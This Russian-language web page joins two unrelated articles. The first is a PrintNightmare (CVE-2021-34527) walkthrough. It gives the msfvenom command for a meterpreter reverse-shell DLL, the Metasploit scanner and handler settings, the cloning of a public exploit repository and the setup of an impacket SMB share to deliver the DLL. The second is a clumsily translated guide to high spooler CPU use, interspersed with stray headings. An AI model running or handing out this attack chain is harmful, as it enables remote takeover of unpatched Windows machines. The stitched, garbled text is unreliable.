Служба Print Spooler находится в поле зрения специалистов ИБ с тех пор, как «червь» Stuxnet использовал ее уязвимость для повышения привилегий Windows и распространился по сети центрифуг по обогащению урана, заразив более 45000 сетей. PrintNightmare — это общее название уязвимости выполнения кода удаленно в службе Print Spooler (« spoolsv.exe ») в операционных системах Microsoft Windows.
Уязвимости был присвоен номер CVE-2021-34527 . Первоначально, уязвимость рассматривалась как локальное повышение привилегий (LPE), ей был присвоен номер CVE-2021-1675 . В срочном порядке были выпущены обновления для Windows в июне 2021 года с исправлением проблемы. Однако через 2 недели Microsoft изменила статус LPE с низкого уровня опасности на высокий, поскольку было выявлено, что обновления уже неэффективны. После этого уязвимости был присвоен номер CVE-2021-34527 . Microsoft и авторы эксплойта вступили в спор, поскольку эксплойт RCE был выпущен на GitHub до появления обновлений для защиты Windows, что сделало возможным осуществление атак нулевого дня. Позднее, авторы исправили свою ошибку.
Перезапуск службы печати в Windows 10 (7-8.1)
Идентификационный номер уязвимости: CVE-2021-34527 .
- Тип: выполнение кода удаленно (англ. «Remote Code Execution»).
- Уровень угрозы: высокий .
- Оценка по стандарту CVSS: 9.3 .
- Версии Windows, где была выявлена уязвимость : Windows_10:20h2, Windows_10:21h1, Windows_10:1607, Windows_10:1809, Windows_10:1909, Windows_10:2004, Windows_7sp1, Windows_8.1, Windows_rt_8.1, Windows_Server_2008, Windows_Server_2008, Windows_Server_2012, Windows_Server_2012:r2, Windows_Server_2016, Windows_Server_2016:20h2, Windows_Server_2016:2004, Windows_Server_2019.
Идентификационный номер уязвимости: CVE-2021-1675 .
- Тип: локальное повышение привилегий ( англ. «Local Privilege Escalation») .
- Уровень угрозы: высокий .
- Оценка по стандарту CVSS: 9.3.
- Версии Windows, где была выявлена уязвимость : Windows_10:20h2, Windows_10:21h1, Windows_10:1607, Windows_10:1809, Windows_10:1909, Windows_10:2004, Windows_7sp1, Windows_8.1, Windows_rt_8.1, Windows_Server_2008, Windows_Server_2008, Windows_Server_2012, Windows_Server_2012:r2, Windows_Server_2016, Windows_Server_2016:20h2, Windows_Server_2016:2004, Windows_Server_2019.
Дополнительные источники информации:
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527
- https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34527
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675
Основы работы службы Print Spooler
Print Spooler — это основной интерфейс, на котором отображен процесса печати документа. Это встроенная в Windows по умолчанию программа, которая открывается при запуске системы. Принцип работы Print Spooler выглядит примерно следующим образом :
- Application : приложение создает задачу для печати, вызывая Graphics Device Interface (GDI) .
- GDI : GDI включает в себя компоненты графических драйверов Kernel — Mode и User-mode.
- winspool.drv – это интерфейс, который взаимодействует с буфером обмена. Он предоставляет стабы RPC, необходимые для доступа к серверу.
- spoolsv.exe является API сервером Spooler . Этот модуль реализует маршрутизацию сообщений поставщику печати с помощью маршрутизатора ( spoolss.dll ).
- spoolss.dll определяет, какого поставщика печати следует вызывать, на основе имени принтера и передает вызов функции верному поставщику.
Краткое описание уязвимости
Протокол MS-RPRN ( Print System Remote Protocol ) включает в себя метод RpcAddPrinterDriverEx() , который позволяет производить установку драйверов удаленно пользователям с правами SeLoadDriverPrivilege . Данные права предоставляются только администраторам системы. Итак, эксплойт пытается обойти эту проверку подлинности в RpcAddPrinterDriver . Метод осуществления эксплойта представлен afwu .
Если принтер не печатает ставит в очередь / Нужно изменить порт
Cube0x0 написал у себя в Twitter, что ему удалось достичь тех же результатов, используя метод RpcAsyncAddPrinterDriver () протокола MS-PAR, который аналогичен RpcAddPrinterDriver и загружает драйверы удаленно. Информацию об этом можно найти здесь .
В данной статье будут рассмотрены обе техники.
Принцип работы с уязвимостью
Сперва стоит взглянуть на принцип работы RpcAddPrinterDriver :
- Добавление Printer Driver к Server call (Rpc Add Printer Driver)
- Клиент (хакер) получает связь с принтером для обмена файлами
- Клиент (хакер) создает контейнер MS-RPRN (Print System Remote Protocol) Driver , в котором содержится DRIVER_INFO_2 . В основном это переменные, которые содержат путь к библиотекам DLL, тип архитектуры и т.д.
- Клиент (хакер) вызывает: RpcAddPrinterDriver(“”, DriverContainer) .
Проверка безопасности . Когда клиент вызовет эту функцию, система проверит, есть ли у клиента « SeLoadDriverPrivilege », который по умолчанию присваивается администраторам системы.
Обход системы безопасности . Afwu упомянул в своем первом посте, что пользователь может указать следующие параметры в службе Spooler:
pDataFile =A.dll
pConfigFile =B.dll
pDriverPath=C.dll
Служба Spooler скопирует A,B,C DLL-файлы в « С:WindowsSystem32spooldriversx643new », а затем загрузит их в « C:WindowsSystem32spooldriversx643 ».
Далее система Windows проверяет, что библиотеки DLL pDataFile и pDriverPath не являются UNC-путями. Однако конфигурационный файл может включать в себя путь UNC, и поэтому хакер имеет возможность выполнить следующее:
pDataFile =A.dll
pConfigFile =\attacker_shareevil.dll
pDriverPath=C.dll
Это теоретически может заставить Windows загружать « evil.dll» , который был подготовлен хакером.
Таким образом, обход аутентификации происходит следующим образом:
- Вызывается Rpc Add Printer Driver с предлагаемыми параметрами и UNC-путем, ведущим к вредоносной DLL.
- Вредоносная библиотека DLL копируется в « C:WindowsSystem32spooldriversx643evil.dll ».
- Однако это вызывает конфликтную ситуацию при запросе, поэтому пользователь вызывает функцию резервного копирования драйверов и копирует старые драйверы (включая его вредоносную DLL) в каталог « C:WindowsSystem32spooldriversx643old1 ».
- Хакер заменяет путь к DLL на этот: « C:WindowsSystem32spooldriversx643old1evil.dll ».
- Обход системы безопасности был осуществлен – DLL успешно загружается в spoolsv.exe.
Вышеупомянутый процесс является фундаментальным, лежащим в основе работы эксплойтов, которые будут представлены далее.
IP-адреса
Для демонстрации были взяты следующие IP-адреса:
- IP-адрес хакера: 192.168.1.2
- IP жертвы: 192.168.1.190
- Используемые скомпрометированные учетные данные: ignite/123
Способ 1. PrintNightmare RCE с использованием Python
Это способ применения CVE-2021-34527 (выполнение кода удаленно от имени администратора). Официальный PoC от Cube0x0 можно найти здесь .
Во-первых, нужно создать вредоносный DLL-файл, который будет запускаться от имени администратора. Для этого используется msfvenom :
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.2 lport=4444 -f dll -o evil.dll
Теперь хакер может проверить, является ли цель уязвимой или нет, используя вспомогательный модуль Metasploit. Здесь он ввел случайный путь для аргумента DLL_PATH, поскольку он не запускает эксплойт, хакеру просто нужно выполнить сканирование. В ходе тестирования он обнаружил, что PrintNightmare ненадежен. Анализ подтвердил, что жертва уязвима.
use auxiliary/admin/dcerpc/cve_2021_1675_printnightmare
set RHOSTS 192.168.1.190
set SMBUser ignite
set SMBPass 123
set DLL_PATH /
exploit
Хакер запускает обработчик заранее перед выполнением DLL-файла с эксплойтом.
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.2
set LPORT 4444
exploit
Теперь нужно клонировать репозиторий github. Хакер использует разветвленную версию оригинального эксплойта от Cube0x0 .
git clone https://github.com/nemo-wq/PrintNightmare-CVE-2021-34527
cd PrintNightmare-CVE-2021-34527
chmod 777 CVE-2021-34527.py
Хорошо, остался последний шаг — разместить вредоносную DLL-библиотеку на сервере SAMBA. Хакер может настроить сервер SAMBA вручную в Kali, использовать Windows host для его размещения или smbserver от impacket.
Хакер добавит нужное имя общего ресурса (в данном случае используется «share»), а затем укажет путь (в данном случае – «/root»), по которому он сохранил вредоносную DLL.
python3 /usr/share/doc/python3-impacket/examples/smbserver.py share /root
Когда все готово, можно запустить эксплойт RCE:
Здесь хакер только что запустил общий ресурс на impacket, он будет использовать его в качестве пути UNC.
Жертва успешно запустила DLL-файл и отправила хакеру сеанс на уровне администратора.
Источник: dzen.ru
Как исправить высокую нагрузку на процессор службы печати очереди печати в Windows 10
Известно, что проблема « высокая загрузка ЦП спулером » приводит к мучительно медленному времени обработки на ПК с Windows. Тем не менее, сама служба Windows Spooler предназначена для обеспечения полной противоположности. По крайней мере, когда это работает так, как задумано.
Служба диспетчера очереди печати Windows является частью инфраструктуры процессов принтера вашего компьютера. Этот сервис позволяет вашему ПК выполнять задания печати в фоновом режиме, пока вы выполняете другие задачи.
Приложение Spooler работает, добавляя каждый документ, который вы отправляете на принтер, в очередь, чтобы оно могло печататься, как только принтер станет доступен.
Удобство службы заключается в том, что во время работы принтера все, что вы делаете в интерфейсе, должно работать без перерыва. Процесс spooler.exe также должен отображаться в диспетчере задач, указывая, что существует текущая задача печати.
Но как только задачи печати в очереди завершатся, вы больше не увидите процесс spoolsv.exe, отображаемый в диспетчере задач.
Таким образом, вместо того, чтобы расценивать это как раздражение, когда возникают подобные проблемы, сервис следует рассматривать как удобные утилиты. Если это как-то работает со сбоями, вы должны немедленно исправить это .
При нормальной работе, даже во время работы, spoolsv.exe не должен загружать ваш процессор. И даже если служба Spooler действительно сохраняет задания печати в очереди, она все равно не должна израсходовать слишком много вашей оперативной памяти.
Но есть случаи, когда это занимает целых 100 процентов вашего процессора. Это не нормально и не должно происходить. Но чем это вызвано и как это можно исправить?
Причины проблем с высокой загрузкой ЦП в спулере
Служба Spooler отнюдь не ресурсоемкий процесс, который должен перегружать ваш компьютер, каким бы маленьким он ни был. Когда вы проверяете диспетчер задач и замечаете, что служба использует до 100 процентов ЦП, логика говорит, что в буфере должно быть слишком много заданий на печать, ожидающих завершения.
Завершенные задания печати могут зависать в катушке из-за системных сбоев
Вы редко когда-либо слишком много в очереди, что катушка может быть перегружена. Единственным вероятным сценарием будет сбой в системе, который не позволит автоматически завершать задания печати из очереди . Это означает, что компьютер будет продолжать выделять память и ресурсы для задач, которые уже были выполнены, что приводит к перегрузке ЦП и истощению ОЗУ.
Задания печати задерживаются на программе записи изображений Microsoft Office
Некоторые пользователи были озадачены из-за высокой загрузки ЦП спулера, хотя на самом деле не было ни заданий на печать, ни текущих, ни завершенных, которые еще нужно было удалить из буфера.
После расследования они обнаружили, что на самом деле есть задания на печать, ожидающие завершения. Но они были не на установленном принтере, а на Microsoft Office Image Writer.
Всегда проверяйте, не является ли это источником проблемы, когда ваш компьютер замедляется, а диспетчер задач показывает высокую загрузку ЦП диспетчера очереди.
Хорошее место для проверки всех заданий на печать, находящихся в очереди на печать, — это папка «Управление печатью». Используйте строку навигации ниже, чтобы добраться туда:
Панель управления> Администрирование> Управление печатью
В папке «Управление печатью» будут показаны все задания на печать, поставленные в очередь. Папка также покажет вам все принтеры, установленные на вашем принтере, и сколько заданий на печать поставлено в очередь на каждом.
Вирус или заражение вредоносным ПО
Когда вы не можете найти то, что может быть причиной необъяснимо высокой загрузки ЦП спулера, всегда есть вероятность, что вирус или вредоносная программа могли заразить ваш компьютер. Обнаружено, что служба Spooler уязвима к нарушениям безопасности в некоторых версиях ОС Windows.
Известно, что червь, обычно связанный с этой проблемой, ловко маскирует себя, регистрируясь с тем же именем процесса spoolsv.exe .
Самый простой способ проверить, действительно ли этот процесс является червем, — это проверить путь процесса. Аутентичная служба диспетчера очереди запускается из подпапки% System%. При этом также проверьте размер исходной папки процесса spoolersv.exe. Это должно быть около 61,440 байт.
Если исходная папка процесса намного больше обычного размера, вы не можете проверить путь процесса spoolsv.exe, перегружающего ваш ЦП, и вы устранили другие возможные причины, которые мы обсуждали, возможно, вы, к сожалению, имеете дело с вредоносным ПО выпускать
Важно, чтобы вы немедленно установили подходящее программное обеспечение для обеспечения безопасности в Интернете, чтобы очистить компьютер и устранить эту угрозу, прежде чем она распространится и нанесет еще больший ущерб.
Как исправить спулер высокой загрузки процессора
Медленный компьютер — серьезное раздражение и убийца производительности. К счастью, проблему обычно довольно легко решить. Как мы уже отмечали, если на вашем ПК уже запущена антивирусная программа, это будет сигналом к тому, что вам нужно повысить безопасность и обновить ее или установить лучшую.
Но можно подумать, что нужно просто остановить процесс spoolsv.exe прямо в диспетчере задач. Хотя это может дать некоторое облегчение, это не является постоянным решением, так как вы захотите напечатать некоторые документы в какой-то момент. А остановка процесса spoolsv.exe в диспетчере задач во время печати или печати документов также приведет к остановке самого принтера.
Обходной путь, когда очередь принтера не очищается или пока вы выясняете причину проблемы « высокая загрузка ЦП», заключается в печати непосредственно на принтере. Просто выберите опцию в настройках печати.
Это обходит сервис Spooler, но устраняет все удобства, которые приносит приложение. Это также не практичное решение, если вы печатаете много документов со своего компьютера.
Вот несколько исправлений, которые вы должны попробовать после того, как исключили заражение вредоносным ПО как потенциальный источник проблемы «высокая загрузка ЦП»;
1. Вручную удалите выполненные задания печати из буфера
Чтобы вручную очистить папку, сначала используйте путь навигации, чтобы открыть папку « Службы » и остановить службу диспетчера очереди печати.
Панель управления> Администрирование> Сервисы
После открытия папки «Службы» остановите службу диспетчера очереди, выполнив следующие действия;
- Найдите службу диспетчера очереди печати ,
- Щелкните правой кнопкой мыши по нему и выберите Стоп ,
- Оставьте окно «Службы» открытым.
После этого перейдите в Windows Explorer и используйте строку навигации ниже, чтобы открыть папку « Принтеры »:
C: WINDOWSsystem32spoolPRINTERS
Приступить к удалению всего содержимого папки вручную. Как видите, у меня уже пусто. После этого вернитесь в папку «Службы» и перезапустите службу « Диспетчер очереди печати» . Сделайте это, просто щелкнув правой кнопкой мыши по сервису и выбрав опцию « Пуск» . Ваш компьютер должен снова работать как обычно.
- ТАКЖЕ ЧИТАЙТЕ:5 лучших беспроводных принтеров, совместимых с Windows 10
2. Переустановите принтер и обновите драйверы
Временами даже очистка всего в буфере все равно не решит проблему «высокая загрузка ЦП спулера», или там не может быть никаких задач печати. На этом этапе вам, возможно, следует проверить, правильно ли настроен ваш компьютер.
Самый простой способ — войти в систему управления печатью и удалить свои принтеры. Вы также можете проверить и удалить любой установленный принтер Bluetooth.
Прежде чем переустанавливать компьютер, убедитесь, что все драйверы принтера обновлены. Вы даже можете узнать у производителя вашего принтера, совместимы ли ваши текущие драйверы принтера с версией Windows, которую вы используете.
Всегда есть вероятность, что вы пропустили обновление, особенно если ваш компьютер не настроен на автоматическое получение обновлений.
3. Регулярно сканируйте и очищайте свой компьютер от вирусов и вредоносных программ.
Это вредоносное ПО и вирусы могут быть замаскированы хакерами как исполняемый файл spoolsv.exe, чтобы получить доступ к вашему компьютеру через черный ход.
Поскольку это вредоносное ПО и вирусы могут использоваться для кражи ваших паролей и другой личной информации, высокая загрузка ЦП спулера может оказаться наименьшей из ваших забот, если вы подвергнетесь атаке.
Регулярно обновляйте защиту от вредоносных программ и антивирусы. И всегда проверяйте, используете ли вы последние версии всего программного обеспечения для обеспечения интернет-безопасности, которое вы используете на своем компьютере.
Также целесообразно инвестировать в хороший инструмент для сканирования реестра, чтобы оставаться в курсе возможных вредоносных записей в файлах реестра вашего компьютера.
Но, как правило, лучший способ обезопасить себя — проявлять осторожность и осторожность при посещении веб-сайтов, открываемых вложений электронной почты и переносных драйверов, подключаемых к компьютеру.
Надеемся, что решения, которые мы обсудили здесь, помогли вам решить проблему «высокой загрузки ЦП». Если проблема сохраняется, всегда лучше проконсультироваться с экспертом, особенно перед тем, как вы начнете вносить какие-либо изменения в реестр Windows.
СВЯЗАННЫЕ СТАТЬИ, КОТОРЫЕ ВЫ ДОЛЖНЫ ПРОВЕРИТЬ
- Windows 10 / 8.1 / 8 Высокое использование диска, вызванное Tiworker.exe [Fix]
- Исправлено: узел службы: локальная служба (ограниченная сеть) вызывает высокую загрузку ЦП
- Хост провайдера WMI, высокая загрузка ЦП в Windows 10 [Fix]
- MsMpEng.exe вызывает высокую загрузку ЦП: 3 решения, чтобы решить эту проблему
Источник: gadgetshelp.com